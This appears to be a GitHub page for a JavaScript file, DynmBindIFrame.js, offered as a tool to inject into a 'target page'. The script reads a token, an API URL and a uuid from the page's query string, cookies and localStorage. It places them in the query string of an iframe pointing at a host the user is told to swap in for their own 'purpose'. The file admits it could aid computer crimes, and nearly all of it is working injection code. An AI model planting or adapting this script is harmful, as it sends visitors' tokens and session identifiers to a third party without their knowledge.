-
Notifications
You must be signed in to change notification settings - Fork 0
/
DynmBindIFrame.js
106 lines (83 loc) · 5.75 KB
/
DynmBindIFrame.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
░▒▓█▓▒░▒▓████████▓▒░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓██████████████▓▒░░▒▓████████▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓███████▓▒░▒▓████████▓▒░
░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░▒▓██████▓▒░ ░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓██████▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░
░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░ ░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓███████▓▒░ ░▒▓█▓▒░
This script is designed to dynamically create and append an iframe to the current web page based on
certain parameters obtained from the URL's query string and cookies.
The purpose or use of this code could vary drastically but could assist in committing computer crimes, always have permission
Two variables may be modified:
let myUrlPrefix="https://"; // *** CRITICAL MODIFY IF NEEDED
let myUrlShort="js.stripe.com"; // *** CRITICAL MODIFY IF YOU WANT THIS TO SERVE YOU WITH A PURPOSE
function init() {
var token = getQueryVariable('token');
var apiurl = getQueryVariable('apiurl');
var uuidCookie = getCookie('uuid');
var lck = getQueryVariable('lck');
var lac = getQueryVariable('lac');
var uuidLocalStorage;
try {
uuidLocalStorage = typeof localStorage === 'object' ? localStorage.getItem('uuid') : 0;
} catch (error) {
uuidLocalStorage = 0;
console.log("Error accessing localStorage", error);
}
var uuid = uuidCookie || uuidLocalStorage;
var method = (+!!uuidLocalStorage * 2) + (+!!uuidCookie);
var options = { token, apiurl, uuid, method, lck, lac };
console.log("Init options:", options);
addNewIframe(options);
}
function addNewIframe(options) {
let myUrlPrefix="https://"; // *** CRITICAL MODIFY IF NEEDED
let myUrlShort="js.stripe.com"; // *** CRITICAL MODIFY IF YOU WANT THIS TO SERVE YOU WITH A PURPOSE
let myUrl=myUrlPrefix+myUrlShort;
var frame = document.createElement('iframe');
var newFrameUrl = "" + myUrl + "";
var queryStringVals = [];
for (var key in options) {
if (options.hasOwnProperty(key) && options[key]) {
queryStringVals.push([key, options[key]].join("="));
}
}
newFrameUrl += "?" + queryStringVals.join("&");
frame.src = newFrameUrl;
frame.title = '^';
document.body.appendChild(frame);
console.log("Iframe added with src:", newFrameUrl);
}
function getQueryVariable(variable) {
var querystring = location.search.split('?')[1];
if (querystring) {
var vars = querystring.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (pair[0] == variable) return pair[1] ? pair[1] : '';
}
}
return null;
}
function getCookie(name) {
var cookieArray = document.cookie.split(';');
for (var index = 0; index < cookieArray.length; ++index) {
var cookieName = cookieArray[index].substr(0, cookieArray[index].indexOf('=')).trim();
var cookieValue = cookieArray[index].substr(cookieArray[index].indexOf('=') + 1);
if (cookieName == name) return unescape(cookieValue);
}
}
if (!String.prototype.trim) {
String.prototype.trim = function() { return this.replace(/^\s+|\s+$/gm, ''); }
}
(function() {
try {
init();
} catch (error) {
console.log("Error during initialization", error);
}
})();
-----------------
Paste the above code into the target page *after modifying* the URL the frame will target
The output should resemble:
https://prnt.sc/LnnKV9SpPwGw